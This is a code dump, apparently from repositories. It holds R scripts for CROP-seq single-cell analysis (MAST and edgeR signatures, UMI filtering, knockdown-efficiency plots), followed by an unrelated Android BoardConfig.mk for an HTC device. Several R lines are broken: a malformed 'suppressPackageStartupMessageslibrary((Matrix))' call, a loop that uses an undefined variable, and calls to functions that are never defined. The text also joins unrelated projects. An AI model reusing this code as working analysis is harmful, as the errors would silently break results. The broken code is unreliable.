### Function: ges_MASTDetRate
### Generate gene expression signature matrix using MAST with Detection Rate method.
### Return a matrix representing gene expression signature.
### Args:
### exprs: a matrix representing normalized gene expression data of the samples including negative controls,
### rows representing genes and columns representing samples.
### gRNA_tags: a vector representing the gRNA tags of the samples in exprs
ges_MASTDetRate <- function(exprs,gRNA_tags) {
suppressPackageStartupMessages(library(MAST))
suppressPackageStartupMessages(library(edgeR))
group <- as.character(gRNA_tags)
group[grep("CONTROL",group,ignore.case = T)] <- "CONTROL"
group <- gsub("-","_",group)
dge <- DGEList(exprs, group = group)
dge <- calcNormFactors(dge)
cdr <- as.numeric(scale(colMeans(exprs > 0)))
cpms <- cpm(dge)
sca <- FromMatrix(exprsArray = log2(cpms + 1),
cData = data.frame(wellKey = colnames(cpms),
group = group, cdr = cdr))
zlmdata <- zlm(~0 + cdr + group, sca)
ges <- sapply(sort(unique(grep("CONTROL",gRNA_tags,invert=T,value=T,ignore.case = T))), function(g){
mast <- lrTest(zlmdata, Hypothesis(paste0("group",gsub("-","_",g),"-groupCONTROL")))
mast[,"hurdle",c("lambda","Pr(>Chisq)")]
contrast0 <- rep(0,times=ncol(coef(zlmdata,"C")))
names(contrast0) <- colnames(coef(zlmdata,"C"))
contrast0[grep("CONTROL",names(contrast0),ignore.case = T)] <- 1
contrast1 <- diag(ncol(coef(zlmdata,"C")))
rownames(contrast1)<-colnames(contrast1)<-colnames(coef(zlmdata,"C"))
FC <- getLogFC(zlmdata,contrast0,contrast1)
FC <- FC[which(FC[,2]==paste0("group",gsub("-","_",g))),"logFC"]
mast[,"hurdle","lambda"] <- qchisq(mast[,"hurdle","Pr(>Chisq)"],mast[,"hurdle","df"],lower.tail = F)*sign(FC)
})
lambda <- ges[1:nrow(exprs),]
rownames(lambda) <- rownames(exprs)
PValue <- ges[(nrow(exprs)+1):(2*nrow(exprs)),]
rownames(PValue) <- rownames(exprs)
ges <- list(lambda,PValue)
names(ges) <- c("Signature_Chi","PValue")
return(ges)
}
###############################################################################################
### Function: ges_edgeRQLFDetRate
### Generate gene expression signature matrix using edgeRQLF with Detection Rate method.
### Return a matrix representing gene expression signature.
### Args:
### exprs: a matrix representing normalized gene expression data of the samples including negative controls,
### rows representing genes and columns representing samples.
### gRNA_tags: a vector representing the gRNA tags of the samples in exprs
ges_edgeRQLFDetRate <- function(exprs,gRNA_tags) {
suppressPackageStartupMessages(library(edgeR))
group <- as.character(gRNA_tags)
group[grep("CONTROL",group,ignore.case = T)] <- "CONTROL"
dge <- DGEList(exprs, group = group)
dge <- calcNormFactors(dge)
cdr <- scale(colMeans(exprs > 0))
design <- model.matrix(~ 0 + cdr + group)
dge <- estimateDisp(dge, design = design)
fit <- glmQLFit(dge, design=design)
ges <- sapply(sort(unique(grep("CONTROL",gRNA_tags,invert=T,value=T,ignore.case = T))), function(g){
contrast <- rep(0,ncol(design))
contrast[grep("CONTROL",colnames(design),ignore.case = T)] <- -1
contrast[grep(paste0(g,""),colnames(design),ignore.case = T)] <- 1
qlf <- glmQLFTest(fit,contrast = contrast)
tt <- topTags(qlf, n = Inf,sort.by="none")$table[,c("F","logFC","PValue")]
})
F <- sapply(ges[1,],function(v){v})
rownames(F) <- rownames(exprs)
Sign <- sapply(ges[2,],function(v){v})
F <- F * sign(Sign)
PValue <- sapply(ges[3,],function(v){v})
rownames(PValue) <- rownames(exprs)
ges <- list(F,PValue)
names(ges) <- c("Signature_F","PValue")
return(ges)
}
###############################################################################################
heatmap_all <- function(ges,rownames,row_symbols,ges_method) {
ges_values <- abs(ges[rownames,])
limit <- quantile(ges_values[is.finite(ges_values)],probs = 1,na.rm = T)
pdf(paste0(jobName,ges_cal_method,"_all.pdf"),width = 7,height = 7)
pheatmap(ges[rownames,],
color = colorRampPalette(c("blue","white","red"))(100),
cluster_rows=F,cluster_cols=F,
labels_row = row_symbols, main=paste0(jobName,"_",ges_method),
breaks = c(seq(-limit,0,length.out = 51),
seq(limit/100,
limit,length.out=50))
)
dev.off()
}
heatmap_self <- function(ges,rownames,row_symbols,ges_method) {
pdf(paste0(jobName,ges_cal_method,"_self.pdf"),width = 7,height = 7)
ges_self <- ges[rownames,colnames(ges)[-grep("Control",colnames(ges),ignore.case = T)]]
for (i in 1:nrow(ges_self)) {
for (j in 1:ncol(ges_self)) {
if (strsplit(colnames(ges_self)[j],split = '-')[[1]][1]==row_symbols[i]) print(i)
else ges_self[i,j] <- 0
}
}
ges_self_values <- abs(ges_self)
limit_self <- quantile(ges_self_values[is.finite(ges_self_values)],probs = 1,na.rm = T)
pheatmap(ges_self,
color = colorRampPalette(c("blue","white","red"))(100),
cluster_rows=F,cluster_cols=F,
labels_row = row_symbols,main=paste0(jobName,"_",ges_method),
breaks = c(seq(-limit_self,0,length.out = 51),
seq(limit_self/100,
limit_self,length.out=50))
)
dev.off()
}
setwd(workDir)
### Load exprs from preliminary analysis.
load(ExpFile)
load(gRNAFile)
### Take cells with only 1 gRNA assigned. #######################################################
if (Multi) {
exprs <- exprs[,sapply(gRNA_assigned,length)>0]
gRNA_assigned <- gRNA_assigned[sapply(gRNA_assigned,length)>0]
} else {
exprs <- exprs[,sapply(gRNA_assigned,length)==1]
gRNA_assigned <- gRNA_assigned[sapply(gRNA_assigned,length)==1]
}
if (Normalization=="tpm") {
exprs_norm <- apply(exprs,2,function(v){1e6*v/sum(v)})
} else {
s <- computeSumFactors(exprs,c(20,40,60,80,100))
exprs_norm <- t(t(exprs)/s*mean(s))
}
gRNAs <- rownames(exprs_gRNA)
gRNAs <- gRNAs[sapply(gRNAs, function(g){length(grep(paste0(g,""),gRNA_assigned))})>=CellNoThres]
# Get cell ids of each MR group.
#groups <- sapply(gRNAs, function(s){
# grep(s,gRNA_assigned)
#})
#negative_group <- grep("CONTROL",gRNA_assigned,ignore.case = T)
#if(length(negative_group)<100) negative_group <- grep("",gRNA_assigned)
MRs <- unique(sapply(gRNAs[-grep("Control",gRNAs,ignore.case = T)],function(g){strsplit(g,split = '-')[[1]][1]}))
MR_tags_ensg <- mapIds(org.Hs.eg.db,as.character(MRs),column = "ENSEMBL",keytype = "SYMBOL",
multiVals=function(n){intersect(n,rownames(exprs))[1]})
inter_rows <- MR_tags_ensg[MR_tags_ensg%in%rownames(exprs)]
if (ges_method=="Perturb-seq") {
ges_perturb <- ges_perturb(exprs_norm,gRNA_assigned,gRNAs,method=ges_cal_method,bootstrap)
rownames(ges_perturb) <- rownames(exprs_norm)
save(ges_perturb,file=paste0(jobName,"_",ges_cal_method,".rda"))
### GES_perturb ###
heatmap_all(ges_perturb,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
heatmap_self(ges_perturb,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
} else if (ges_method=="Even_pool") {
ges_even_pool <- ges_even_pool(exprs_norm,gRNA_assigned,gRNAs,method=ges_cal_method,bootstrap,pool_size)
rownames(ges_even_pool) <- rownames(exprs_norm)
save(ges_even_pool,file=paste0(jobName,"_",ges_cal_method,".rda"))
### GES_even_pool ###
heatmap_all(ges_even_pool,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
heatmap_self(ges_even_pool,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
} else if (ges_method=="MASTDetRate") {
ges_MASTDetRate <- ges_MASTDetRate(exprs,gRNA_assigned)
save(ges_MASTDetRate,file=paste0(jobName,"_",ges_cal_method,".rda"))
ges_MASTDetRate <- ges_MASTDetRate$Signature_lambda
### ges_MASTDetRate ###
heatmap_all(ges_MASTDetRate,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
heatmap_self(ges_MASTDetRate,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
} else if (ges_method=="edgeRQLFDetRate") {
ges_edgeRQLFDetRate <- ges_edgeRQLFDetRate(exprs,gRNA_assigned)
save(ges_edgeRQLFDetRate,file=paste0(jobName,"_",ges_cal_method,".rda"))
ges_edgeRQLFDetRate <- ges_edgeRQLFDetRate$Signature_F
### ges_edgeRQLFDetRate ###
heatmap_all(ges_edgeRQLFDetRate,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
heatmap_self(ges_edgeRQLFDetRate,inter_rows,MRs[MR_tags_ensg%in%rownames(ges_perturb)],ges_method = ges_method)
}
<file_sep>/scripts/TREK_PreProcess.R
print("============================================================")
print("Description:")
print("CellRanger results pre-processing.")
print("Compulsory Arguments:")
print("--workDir=full working directory where results will be generated")
print("--matrixDir= full path to directory of filtered_feature_bc_matrix generated by CellRanger")
print("--jobName= name of the CellRanger run")
print("--minUMIcount= minimum UMI count per cell")
print("--maxUMIcount= maximum UMI count per cell")
print("=============================================================")
print("\n")
#manual
args <- commandArgs(trailingOnly = T)
workDir <- args[grep("--workDir=", args)]
workDir <- substr(workDir, 11, nchar(workDir))# full working directory where results will be generated
print("Working directory:")
print(workDir)
matrixDir <- args[grep("--matrixDir=", args)]
matrixDir <- substr(matrixDir, 13, nchar(matrixDir))# full path to directory of filtered_feature_bc_matrix generated by CellRanger
print("Filtered_feature_bc_matrix directory:")
print(matrixDir)
jobName <- args[grep("--jobName=", args)]
jobName <- substr(jobName, 11, nchar(jobName))# name of the CROP-seq run
print("Job name:")
print(jobName)
minUMIcount <- args[grep("--minUMIcount=", args)]
minUMIcount <- as.numeric(substr(minUMIcount, 15, nchar(minUMIcount)))# minimum UMI count per cell
print("Minimum UMI count per cell:")
print(minUMIcount)
maxUMIcount <- args[grep("--maxUMIcount=", args)]
maxUMIcount <- as.numeric(substr(maxUMIcount, 15, nchar(maxUMIcount)))# maximum UMI count per cell
print("Maximum UMI count per cell:")
print(maxUMIcount)
#arguments
##############################################################################################
### Function: CleanUpCells
### Clean up non-viable cells (low total UMI) and multiplets (high total UMI).
### Check output plots to see if the lower and upper need to be adjusted.
### Args:
### exprs_mat: raw UMI count matrix with rows as genes and columns as cells
### lower: lower limit of UMI counts
### upper: upper limit of UMI counts
CleanUpCells <- function(exprs_mat,lower=NULL,upper=NULL) {
# Calculate UMI counts per cell
UMI_counts <- apply(exprs_mat, 2, sum)
# default lower=5000
if (is.null(lower)) lower<-5000
# default upper=upper 20% quantile (assuming 20% multiplet rate)
if (is.null(upper)) upper<-quantile(UMI_counts,probs = 0.8)
##############################################################
# plot UMI per cell before filter
pdf("UMIPerCell_prefilter.pdf",width=7,height=7)
plot(density(UMI_counts),lwd=2,xlab = "UMI per cell",font=2,cex.lab=1.5,main = "UMI per cell")
abline(v=c(lower,upper),col="red")
dev.off()
# gene per cell before filter
pdf("GenePerCell_prefilter.pdf",width=7,height=7)
plot(density(apply(exprs_mat, 2, function(v){length(which(v>0))})),lwd=2,xlab = "Genes detected per cell",font=2,cex.lab=1.5,main = "Genes (UMI>0) detected per cell")
dev.off()
#############################################################
# filter
proper_UMI <- which((UMI_counts>=lower)&(UMI_counts<=upper))
print(paste0("Number of non-viable cells: ",sum(UMI_counts<lower)))
print(paste0("Number of mutiplets: ",sum(UMI_counts>upper)))
exprs_mat <- exprs_mat[,proper_UMI]
############################################################
# UMI per cell after filter
pdf("UMIPerCell_postfilter.pdf",width=7,height=7)
plot(density(apply(exprs_mat, 2, sum)),lwd=2,xlab = "UMI per cell",font=2,cex.lab=1.5,main = "UMI per cell after filtering")
abline(v=c(lower,upper),col="red")
dev.off()
# Gene per cell after filter
pdf("GenePerCell_postfilter.pdf",width=7,height=7)
plot(density(apply(exprs_mat, 2, function(v){length(which(v>0))})),lwd=2,xlab = "Genes detected per cell",font=2,cex.lab=1.5,main = "Genes detected (UMI>0) per cell after filtering")
dev.off()
############################################################
return(exprs_mat)
}
##############################################################################################
setwd(workDir)
### Load matrix ##############################################################################
suppressPackageStartupMessageslibrary((Matrix))
barcode.path <- paste0(matrixDir, grep("barcode",list.files(matrixDir),value = T))
if (length(grep("genes",list.files(matrixDir)))==0) {
features.path <- paste0(matrixDir, grep("features",list.files(matrixDir),value = T))
} else {
features.path <- paste0(matrixDir, grep("genes",list.files(matrixDir),value = T))
}
matrix.path <- paste0(matrixDir, grep("matrix",list.files(matrixDir),value = T))
mat <- readMM(file = matrix.path)
feature.names = read.delim(features.path,
header = FALSE,
stringsAsFactors = FALSE)
barcode.names = read.delim(barcode.path,
header = FALSE,
stringsAsFactors = FALSE)
colnames(mat) = barcode.names$V1
rownames(mat) = feature.names$V1
exprs <- as.matrix(mat)
rm(mat,barcode.names,feature.names,matrix.path,matrixDir,barcode.path,features.path)
##############################################################################################
### Clean up cells.
exprs <- CleanUpCells(exprs,lower=minUMIcount,upper=maxUMIcount)
### Save into RDA.
save(exprs,file = paste0(jobName,".rda"))
<file_sep>/scripts/TREK_TargetRemaining.R
message("============================================================")
message("Description:")
message("CROP-seq analysis: check knockdown efficiency by targets remaining (UMI level)")
message("Compulsory Arguments:")
message("--workDir= full working directory where results will be generated")
message("--ExpFile= full path to pre-processed expression matrix")
message("--gRNAFile= full path to gRNA assignment file generated by gRNA assigning script")
message("--jobName= name of the CROP-seq run")
message("Optional Arguments:")
message("--Normalization= whether to use scran or tpm to normalize expression n scran as default ")
message("=============================================================")
message("\n")
#manual
args <- commandArgs(trailingOnly = T)
###########################################################################
### full working directory where results will be generated
workDir <- args[grep("--workDir=", args)]
workDir <- substr(workDir, 11, nchar(workDir))
message("working directory:")
message(workDir)
###########################################################################
### full path to pre-processed expression matrix
ExpFile <- args[grep("--ExpFile=", args)]
ExpFile <- substr(ExpFile, 11, nchar(ExpFile))
message("ExpFile:")
message(ExpFile)
###########################################################################
### full path to gRNA assignment file generated by gRNA assigning script
gRNAFile <- args[grep("--gRNAFile=", args)]
gRNAFile <- substr(gRNAFile, 12, nchar(gRNAFile))
message("gRNAFile:")
message(gRNAFile)
###########################################################################
### name of the CROP-seq run
jobName <- args[grep("--jobName=", args)]
jobName <- substr(jobName, 11, nchar(jobName))
message("job name:")
message(jobName)
##########################################################################
### whether to use scran or tpm to normalize expression
Normalization <- args[grep("--Normalization=", args)]
Normalization <- substr(Normalization, 17, nchar(Normalization))
message("Normalization method:")
message(Normalization)
##########################################################################
### minimum number of cells coverage
cellNo <- args[grep("--cellNo=", args)]
cellNo <- as.numeric(substr(cellNo, 10, nchar(cellNo)))
message("Minimum No of cells:")
message(cellNo)
##########################################################################
### whether to select cells with strongest knockdown
SelectCell <- args[grep("--SelectCell=", args)]
SelectCell <- substr(SelectCell, 14, nchar(SelectCell))
message("SelectCell:")
message(SelectCell)
##########################################################################
### whether to use multiple gRNA cells
Multi <- args[grep("--Multi=", args)]
Multi <- substr(Multi, 9, nchar(Multi))
message("Multi:")
message(Multi)
##########################################################################
#arguments
target_remaining_selection <- function(mr,index,target_remaining) {
print(paste0("Select gRNA for ",mr))
if (is.null(target_remaining[[index[1]]])&is.null(target_remaining[[index[2]]])) return(NULL)
else if (is.null(target_remaining[[index[1]]])&!is.null(target_remaining[[index[2]]]))
return(assign(names(target_remaining[index[2]]),target_remaining[[index[2]]]))
else if (!is.null(target_remaining[[index[1]]])&is.null(target_remaining[[index[2]]]))
return(assign(names(target_remaining[index[1]]),target_remaining[[index[1]]]))
else if (is.na(median(target_remaining[[index[1]]],na.rm = T))&is.na(median(target_remaining[[index[2]]],na.rm = T))) return(NULL)
else if (is.na(median(target_remaining[[index[1]]],na.rm = T))&!is.na(median(target_remaining[[index[2]]],na.rm = T)))
return(assign(names(target_remaining[index[2]]),target_remaining[[index[2]]]))
else if (!is.na(median(target_remaining[[index[1]]],na.rm = T))&is.na(median(target_remaining[[index[2]]],na.rm = T)))
return(assign(names(target_remaining[index[1]]),target_remaining[[index[1]]]))
else if (median(target_remaining[[index[1]]],na.rm = T)<=median(target_remaining[[index[2]]],na.rm = T))
return(assign(names(target_remaining[index[1]]),target_remaining[[index[1]]]))
else
return(assign(names(target_remaining[index[2]]),target_remaining[[index[2]]]))
}
target_remaining_selection_index <- function(mr,index,target_remaining) {
print(paste0("Select gRNA for ",mr))
if (is.null(target_remaining[[index[1]]])&is.null(target_remaining[[index[2]]])) return(NULL)
else if (is.null(target_remaining[[index[1]]])&!is.null(target_remaining[[index[2]]]))
return(index[2])
else if (!is.null(target_remaining[[index[1]]])&is.null(target_remaining[[index[2]]]))
return(index[1])
else if (is.na(median(target_remaining[[index[1]]],na.rm = T))&is.na(median(target_remaining[[index[2]]],na.rm = T))) return(NULL)
else if (is.na(median(target_remaining[[index[1]]],na.rm = T))&!is.na(median(target_remaining[[index[2]]],na.rm = T)))
return(index[2])
else if (!is.na(median(target_remaining[[index[1]]],na.rm = T))&is.na(median(target_remaining[[index[2]]],na.rm = T)))
return(index[1])
else if (median(target_remaining[[index[1]]],na.rm = T)<=median(target_remaining[[index[2]]],na.rm = T))
return(index[1])
else
return(index[2])
}
set.seed(41)
library(org.Hs.eg.db,quietly = T,verbose = F)
library(ggplot2,quietly = T,verbose = F)
setwd(workDir)
### Load exprs from preliminary analysis.
load(ExpFile)
load(gRNAFile)
### Take cells with only 1 gRNA assigned. #######################################################
if(Multi) {
exprs <- exprs[,sapply(gRNA_assigned,length)>0]
gRNA_assigned <- gRNA_assigned[sapply(gRNA_assigned,length)>0]
} else {
exprs <- exprs[,sapply(gRNA_assigned,length)==1]
gRNA_assigned <- gRNA_assigned[sapply(gRNA_assigned,length)==1]
}
if (Normalization=="tpm") {
exprs_norm <- apply(exprs,2,function(v){1e6*v/sum(v)})
} else {
s <- scran::computeSumFactors(exprs,c(20,40,60,80,100))
exprs_norm <- t(t(exprs)/s*mean(s))
}
gRNAs <- rownames(exprs_gRNA)
# Get cell ids of each MR group.
groups <- sapply(gRNAs, function(s){
grep(paste0(g,""),gRNA_assigned)
})
negative_group <- grep("CONTROL",gRNA_assigned)
if(length(negative_group)<100) negative_group <- grep("",gRNA_assigned)
### For each gRNA, calculate the gRNA remaining. ################################################
### Calculation was done by comparing each gRNA group with the same number of NC cells. #########
### Bootstrap 100 times. ########################################################################
gRNA_detected <- unique(unlist(gRNA_assigned))
gRNA_detected <- gRNA_detected[grep("CONTROL",gRNA_detected,invert = T)]
MRs <- sapply(gRNA_detected,function(g){strsplit(g,split = '-')[[1]][1]})
gRNA_detected <- gRNA_detected[MRs%in%keys(org.Hs.eg.db,keytype="SYMBOL")]
gRNA_detected <- gRNA_detected[sapply(groups[gRNA_detected],length)>=cellNo]
MRs <- unique(sapply(gRNA_detected,function(g){strsplit(g,split = '-')[[1]][1]}))
target_remaining <- lapply(gRNA_detected, function(g){
### Get cell indexs. ###
cells <- grep(paste0(g,""),gRNA_assigned)
### Get target index. ###
MR <- strsplit(g,'-')[[1]][1]
ensg <- select(org.Hs.eg.db,MR,columns = "ENSEMBL",keytype = "SYMBOL")$ENSEMBL
ensg<- intersect(ensg,rownames(exprs_norm))
if (SelectCell) cells <- sort(exprs_norm[ensg,cells],decreasing = F)[1:cellNo]
if (length(ensg)>0) {
### Calculate. ####
if (length(cells)==0) return(NULL)
else {
nc_distri <- sapply(1:100, function(i){
return(sum(exprs_norm[ensg,sample(negative_group,length(cells),replace=T)]))
})
if (median(nc_distri)==0) {
temp <- sum(exprs_norm[ensg,cells])/nc_distri
#temp[is.na(temp)] <- 0
temp[is.infinite(temp)] <- NaN
return(temp)
#return(NULL)
}
else {
temp <- sum(exprs_norm[ensg,cells])/nc_distri
#temp[is.na(temp)] <- 0
temp[is.infinite(temp)] <- NaN
return(temp)
}
}
}
})
names(target_remaining) <- gRNA_detected
target_remaining_null <- lapply(gRNA_detected, function(g){
### Get cell indexs. ###
cells <- grep(paste0(g,""),gRNA_assigned)
cells <- sample(1:ncol(exprs_norm),length(cells),replace=T)
### Get target index. ###
MR <- strsplit(g,'-')[[1]][1]
ensg <- select(org.Hs.eg.db,MR,columns = "ENSEMBL",keytype = "SYMBOL")$ENSEMBL
ensg<- intersect(ensg,rownames(exprs_norm))
if (SelectCell) cells <- sort(exprs_norm[ensg,cells],decreasing = F)[1:cellNo]
if (length(ensg)>0) {
### Calculate. ####
if (length(cells)==0) return(NULL)
else {
nc_distri <- sapply(1:100, function(i){
return(sum(exprs_norm[ensg,sample(negative_group,length(cells),replace=T)]))
})
if (median(nc_distri)==0) {
temp <- sum(exprs_norm[ensg,cells])/nc_distri
#temp[is.na(temp)] <- 0
temp[is.infinite(temp)] <- NaN
return(temp)
#return(NULL)
}
else {
temp <- sum(exprs_norm[ensg,cells])/nc_distri
#temp[is.na(temp)] <- 0
temp[is.infinite(temp)] <- NaN
return(temp)
}
}
}
})
names(target_remaining_null) <- gRNA_detected
target_remaining_high <- target_remaining[sapply(target_remaining, function(v){sum(is.na(v))/length(v)<=0.5})]
target_remaining_selected <- lapply(MRs, function(mr){
index <- grep(paste0(mr,"-"),names(target_remaining_high))
if (length(index)==1) return(assign(names(target_remaining_high[index[1]]),target_remaining_high[[index[1]]]))
if (length(index)>1) {
max_index <- index[1]
for (i in 2:length(index)) {
max <- target_remaining_selection(mr,c(max_index,index[i]),target_remaining_high)
max_index <- target_remaining_selection_index(mr,c(max_index,index[i]),target_remaining_high)
}
}
return(max)
})
target_remaining_selected <- target_remaining_selected[!sapply(target_remaining_selected,is.function)]
target_remaining_selected_index <- as.vector(lapply(MRs, function(mr){
index <- grep(paste0(mr,"-"),names(target_remaining_high))
if (length(index)==1) return(index)
if (length(index)>1) {
max <- index[1]
for (i in 2:length(index)) {
max <- target_remaining_selection_index(mr,c(max,index[i]),target_remaining_high)
}
}
return(max)
}))
target_remaining_selected_index <- target_remaining_selected_index[!sapply(target_remaining_selected_index,is.function)]
### Plot boxplot by MR. ##########################################################################
color <- rep("black",times=length(target_remaining_selected))
color[sapply(target_remaining_selected, function(v){sum(is.na(v))/length(v)>0.5})] <- "red"
pdf_name <- paste0("Targets_Remaining_by_MRs_",cellNo,"cells")
if(Multi) pdf_name<-paste0(pdf_name,"_multi")
if(SelectCell) pdf_name<-paste0(pdf_name,"_select")
pdf(paste0(pdf_name,".pdf"),width = length(target_remaining_selected)/4,height = 7)
par(lwd=2)
Targets_Remaining_order<-order(sapply(target_remaining_selected, function(v){
if (!is.null(v)) return(median(v,na.rm=T))
else return(-Inf)
}))
Targets_Remaining_order <- Targets_Remaining_order[(1+sum(sapply(target_remaining_selected,is.null))):(length(Targets_Remaining_order))]
boxplot(target_remaining_selected[Targets_Remaining_order],border=color[Targets_Remaining_order],
pch='.',ylim=c(0,1),horizontal=F,names=NA,ylab="Targets Remaining",outline = F)
abline(h=c(0.2,0.5,1),col=c("red","pink","black"),lty=1)
text(2:(length(Targets_Remaining_order)+1)-0.5,par("usr")[3]-0.03,cex = 0.8,
labels=paste0(paste(MRs[Targets_Remaining_order],sapply(groups[gRNA_detected][as.numeric(target_remaining_selected_index[Targets_Remaining_order])],length),sep="(n="),")"),
srt=45,pos=2,xpd=TRUE,col=color[Targets_Remaining_order])
dev.off()
rda_name <- paste0("Targets_Remaining_by_MRs_",cellNo,"cells")
if(Multi) rda_name<-paste0(rda_name,"_multi")
if(SelectCell) rda_name<-paste0(rda_name,"_select")
save(target_remaining_selected,Targets_Remaining_order,file = paste0(rda_name,".rda"))
### Plot boxplot by guides ##########################################################################
color <- rep("black",times=length(target_remaining))
color[sapply(target_remaining, function(v){sum(is.na(v))/length(v)>0.5})] <- "red"
pdf_name <- paste0("Targets_Remaining_by_guides_",cellNo,"cells")
if(Multi) pdf_name<-paste0(pdf_name,"_multi")
if(SelectCell) pdf_name<-paste0(pdf_name,"_select")
pdf(paste0(pdf_name,".pdf"),width = length(target_remaining)/4,height = 16)
par(lwd=2,mfrow=c(2,1))
Targets_Remaining_order<-order(sapply(target_remaining, function(v){
if (is.null(v)) return(Inf)
#if ((sum(is.na(v))/length(v))>0.5) return(Inf)
else return(median(v,na.rm=T))
}))
Targets_Remaining_order <- Targets_Remaining_order[1:(length(Targets_Remaining_order)-sum(sapply(target_remaining,is.null)))]
boxplot(target_remaining[Targets_Remaining_order],border=color[Targets_Remaining_order],
pch='.',ylim=c(0,1),horizontal=F,names=NA,ylab="Targets Remaining",outline = F)
abline(h=c(0.2,0.5,1),col=c("red","pink","black"),lty=1)
text(2:(length(Targets_Remaining_order)+1)-0.5,par("usr")[3]-0.023,cex=0.67,
labels=paste0(paste(gRNA_detected[Targets_Remaining_order],sapply(groups[gRNA_detected[Targets_Remaining_order]],length),sep="(n="),")"),
srt=45,pos=2,xpd=TRUE,col=color[Targets_Remaining_order])
color <- rep("black",times=length(target_remaining_null))
color[sapply(target_remaining_null, function(v){sum(is.na(v))/length(v)>0.5})] <- "red"
Targets_Remaining_order<-order(sapply(target_remaining_null, function(v){
if (!is.null(v)) return(median(v,na.rm=T))
else return(Inf)
}))
Targets_Remaining_order <- Targets_Remaining_order[1:(length(Targets_Remaining_order)-sum(sapply(target_remaining_null,is.null)))]
boxplot(target_remaining_null[Targets_Remaining_order],border=color[Targets_Remaining_order],
pch='.',ylim=c(0,2),horizontal=F,names=NA,ylab="Targets Remaining",outline = F)
abline(h=c(0.2,0.5,1),col=c("red","pink","black"),lty=1)
text(2:(length(Targets_Remaining_order)+1)-0.5,par("usr")[3]-0.023,cex=0.67,
labels=paste0(paste(gRNA_detected[Targets_Remaining_order],sapply(groups[gRNA_detected],length)[Targets_Remaining_order],sep="(n="),")"),
srt=45,pos=2,xpd=TRUE,col=color[Targets_Remaining_order])
dev.off()
rda_name <- paste0("Targets_Remaining_by_guides_",cellNo,"cells")
if(Multi) rda_name<-paste0(rda_name,"_multi")
if(SelectCell) rda_name<-paste0(rda_name,"_select")
save(target_remaining,Targets_Remaining_order,file = paste0(rda_name,".rda"))
target_remaining_med <- sapply(target_remaining, function(v){
if (!is.null(v)) return(median(v,na.rm=T))
else return(NA)
})
target_remaining_null_med <- sapply(target_remaining_null, function(v){
if (!is.null(v)) return(median(v,na.rm=T))
else return(NA)
})
nonNA <- (!is.na(target_remaining_med))&(!is.na(target_remaining_null_med))
x <- data.frame(Value=c(target_remaining_med[nonNA],target_remaining_null_med[nonNA]),
treat=c(rep("CRISPRi",times=length(target_remaining_med[nonNA])),rep("Null",times=length(target_remaining_null_med[nonNA]))))
pdf_name <- paste0("Targets_Remaining_by_guides_density_",cellNo,"cells")
if(Multi) pdf_name<-paste0(pdf_name,"_multi")
if(SelectCell) pdf_name<-paste0(pdf_name,"_select")
pdf(paste0(pdf_name,".pdf"),width = 7,height = 7)
# Use semi-transparent fill
p<-ggplot(x, aes(x=Value, fill=treat)) + geom_density(alpha=0.4)
p
dev.off()
| 29016da48f86500ab775eb8f1d2d6fbf0e74e8d2 | [
"R"
] | 4 | R | ShawnyTan/TREK | ac77aa4e5af62c315a819e37ecc3a36e3915065f | b1423103e3b4bd9a1b9cbc4e3f56cd90a99a3562 |
HEAD | <repo_name>Thecrazyskull/device_htc_a51ul<file_sep>/BoardConfig.mk
# Copyright (C) 2016 Paranoid Android
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# This file sets variables that control the way modules are built
# thorughout the system. It should not be used to conditionally
# disable makefiles (the proper mechanism to control what gets
# included in a build is to use PRODUCT_PACKAGES in a product
# definition file).
#
BOARD_VENDOR := htc
# Bootloader
TARGET_BOOTLOADER_BOARD_NAME := MSM8916
TARGET_NO_BOOTLOADER := true
# Platform
TARGET_BOARD_PLATFORM := msm8916
TARGET_BOARD_PLATFORM_GPU := qcom-adreno405
# Architecture
TARGET_ARCH := arm64
TARGET_ARCH_VARIANT := armv8-a
TARGET_BOARD_SUFFIX := _64
TARGET_CPU_ABI := arm64-v8a
TARGET_CPU_ABI2 :=
TARGET_CPU_MEMCPY_BASE_OPT_DISABLE := true
TARGET_CPU_VARIANT := generic
TARGET_CPU_SMP := true
TARGET_2ND_ARCH := arm
TARGET_2ND_ARCH_VARIANT := armv7-a-neon
TARGET_2ND_CPU_ABI := armeabi-v7a
TARGET_2ND_CPU_ABI2 := armeabi
TARGET_2ND_CPU_VARIANT := cortex-a53
MALLOC_IMPL := dlmalloc
# Kernel
BOARD_DTBTOOL_ARGS := --dt-tag "htc,project-id = <"
BOARD_KERNEL_CMDLINE := console=ttyHSL0,115200,n8 androidboot.console=ttyHSL0 androidboot.hardware=qcom user_debug=31 ehci-hcd.park=3 androidboot.bootdevice=7824900.sdhci androidboot.selinux=permissive
BOARD_KERNEL_BASE := 0x80078000
BOARD_KERNEL_PAGESIZE := 2048
BOARD_KERNEL_SEPARATED_DT := true
BOARD_MKBOOTIMG_ARGS := --kernel_offset 0x00008000 --ramdisk_offset 0x01f88000 --tags_offset 0x01d88000
TARGET_KERNEL_ARCH := arm64
TARGET_KERNEL_CONFIG := a51ul_defconfig
TARGET_KERNEL_CROSS_COMPILE_PREFIX := aarch64-linux-android-
TARGET_KERNEL_HEADER_ARCH := arm64
TARGET_KERNEL_SOURCE := kernel/htc/msm8916
TARGET_USES_UNCOMPRESSED_KERNEL := true
# QCOM hardware
BOARD_USES_QCOM_HARDWARE := true
# Audio
AUDIO_FEATURE_DISABLED_MULTI_VOICE_SESSIONS := true
BOARD_USES_ALSA_AUDIO := true
AUDIO_FEATURE_LOW_LATENCY_PRIMARY := true
AUDIO_FEATURE_ENABLED_FM := true
AUDIO_FEATURE_ENABLED_HWDEP_CAL := true
AUDIO_FEATURE_ENABLED_LOW_LATENCY_CAPTURE := true
# Bluetooth
